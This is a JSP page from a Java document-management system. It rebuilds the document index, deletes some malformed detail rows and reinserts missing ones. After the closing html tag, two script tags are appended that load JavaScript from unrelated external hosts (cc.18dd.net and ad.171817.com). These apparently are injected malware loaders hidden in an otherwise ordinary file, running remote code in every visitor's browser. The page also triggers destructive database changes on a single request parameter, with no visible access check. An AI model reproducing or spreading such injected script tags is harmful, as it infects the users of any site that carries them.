<%
/*
 * @(#)RebuildDmsDocumentIndex.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  batchLuceneIndex.jsp

  This class is reflecting business logic uses.

    @author           Roy Wong
    @company          DCIVision Limited
    @creation date    30/08/2004
    @version          $Revision: 1.3.26.2 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>
<%@ page import="com.dcivision.framework.dao.*"%>

<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.dms.dao.* "%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  if("true".equals(request.getParameter("start"))){
     Connection conn = null;
    try {

      conn = DataSourceFactory.getConnection();
      DocumentRetrievalManager docRetrievalManager = new 
DocumentRetrievalManager(sessionContainer, conn);
      DocumentOperationManager docOperationManager = new 
DocumentOperationManager(sessionContainer, conn);
      DmsDocumentDAObject documentDAO = new DmsDocumentDAObject(sessionContainer, conn);
      DmsDocumentDetailDAObject detailDAO = new DmsDocumentDetailDAObject(sessionContainer,conn);
      SysUserDefinedIndexDetailDAObject  sysDetailDAO = new SysUserDefinedIndexDetailDAObject(sessionContainer,conn);

      List documentList = new ArrayList();
      DmsContentStoreHandler contentStoreHandler = null;

      //step 1 - get out all the document
      out.println("<h1>Reading document ...</h1>");
      documentList = documentDAO.getAllDocumentListActiveInactive();
      DmsDocument dmsDocument = new DmsDocument();
      DmsDocumentDetail dmsDocDetail = new DmsDocumentDetail();
      DmsDocumentDetail clearDirtyDmsDocDetail = new DmsDocumentDetail();
      int recoverNullCounter =0;
      out.println("<h1>No. of document:"+documentList.size()+"</h1>");
      out.println("<h1>Starting to index....</h1>");

      //step 2 - get all the user define detail to the document
      List preIndexDocList = new ArrayList();
      LogFactory.getLog(this.getClass()).debug("documentList size:"+documentList.size());
      if(!Utility.isEmpty(documentList)){
        for(int i=0;i<documentList.size();i++){
          dmsDocument = (DmsDocument)documentList.get(i);

          //clear dirty data begin
          if(!DmsDocument.FOLDER_TYPE.equals(dmsDocument.getDocumentType())){
            List allDetailList=docRetrievalManager.getDocumentDetailListActiveInactive(dmsDocument.getID());

            if(!Utility.isEmpty(allDetailList)){
              for(int j=0;j<allDetailList.size();j++){
                clearDirtyDmsDocDetail = (DmsDocumentDetail)allDetailList.get(j);

                if((allDetailList.size()>1) && (clearDirtyDmsDocDetail.getUserDefinedFieldDetailID()==null)){
                  out.println("diryt id:"+clearDirtyDmsDocDetail.getID()+"<br>");
                  detailDAO.deleteByID(clearDirtyDmsDocDetail.getID());
                  conn.commit();
                }

                //recover the null row
                if(j==0){
                  List sysDetailList = new ArrayList();
                  SysUserDefinedIndexDetail tmpSysUserDefinedIndexDetail = new SysUserDefinedIndexDetail();
                  sysDetailList =  sysDetailDAO.getListBySysUserDefinedIndexID(clearDirtyDmsDocDetail.getUserDefinedFieldID());

                  boolean inSystemDefinedList = false;

                  for(int k=0;k<sysDetailList.size();k++){
                     tmpSysUserDefinedIndexDetail =(SysUserDefinedIndexDetail) sysDetailList.get(k);
                     inSystemDefinedList = false;
                     for(int l=0;l<allDetailList.size();l++){
                      DmsDocumentDetail tmpDmsDocDetail = (DmsDocumentDetail)allDetailList.get(l);
                      if (tmpDmsDocDetail.getUserDefinedFieldDetailID() != null && tmpDmsDocDetail.getUserDefinedFieldDetailID().intValue() == tmpSysUserDefinedIndexDetail.getID().intValue()){
                        inSystemDefinedList = true;
                      }
                      if((l==allDetailList.size()-1) && (!inSystemDefinedList)){
                        LogFactory.getLog(this.getClass()).debug("recovering the detail.....");
                        LogFactory.getLog(this.getClass()).debug("document id:"+dmsDocument.getID());
                        LogFactory.getLog(this.getClass()).debug("document index id:"+tmpDmsDocDetail.getUserDefinedFieldID());
                        LogFactory.getLog(this.getClass()).debug("document index detail id:"+tmpSysUserDefinedIndexDetail.getID());

                        DmsDocumentDetail newDmsDocumentDetail = new DmsDocumentDetail();
                        newDmsDocumentDetail.setDocumentID (dmsDocument.getID());
                        newDmsDocumentDetail.setUserDefinedFieldID(tmpDmsDocDetail.getUserDefinedFieldID());
                        newDmsDocumentDetail.setUserDefinedFieldDetailID(tmpSysUserDefinedIndexDetail.getID());

                        detailDAO.insertObject(newDmsDocumentDetail);
                        recoverNullCounter++;
                        conn.commit();
                      }
                     }
                  }
                }//end j==0


              }
            }//end if
          }//end if
          //clear dirty data end


          //set the document detail
          if(!DmsDocument.FOLDER_TYPE.equals(dmsDocument.getDocumentType())){
            List detailList=docRetrievalManager.getDocumentDetailListActiveInactive(dmsDocument.getID());
            dmsDocument.setDocumentDetails(detailList);
            if(!Utility.isEmpty(detailList)){
              dmsDocDetail = (DmsDocumentDetail)detailList.get(0);
              dmsDocument.setUserDefinedFieldID(dmsDocDetail.getUserDefinedFieldID());
            }//end if
          }//end if

          preIndexDocList.add(dmsDocument);
        }//end for
        out.println("<h1>Recover "+recoverNullCounter+" doc detail record</h1>");

     //step 3 index the document
        DmsDocument preIndexDoc = new DmsDocument();
        for(int j=0;j<preIndexDocList.size();j++){
          preIndexDoc = (DmsDocument)preIndexDocList.get(j);

         //add by roy---------------------------------------------------------
          LogFactory.getLog(this.getClass()).debug("--------------------------------------------");
          LogFactory.getLog(this.getClass()).debug("Doc Name:"+preIndexDoc.getDocumentName());
          LogFactory.getLog(this.getClass()).debug("Doc ID:"+preIndexDoc.getID());

          //add by roy------------------------------------------------------

          docOperationManager.indexToDB(preIndexDoc,GlobalConstant.OP_MODE_INSERT);
          conn.commit();

        }//end for

        conn.commit();
        out.println("<h1>Finish index</h1>");

      }else{
        out.println("<h1>No document found!</h1>");
      }

      docRetrievalManager.release();
      docOperationManager.release();

    } catch (Exception e) {
	    LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }

  }

%>

<html>
<body>







Index all document:
<form name="IndexForm" action="<%=request.getContextPath()%>/jsp/dms/RebuildDmsDocumentDetail.jsp">
<input type="hidden" name="start" value="true">
<input type="submit" value="submit">
</form>
</body>


</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>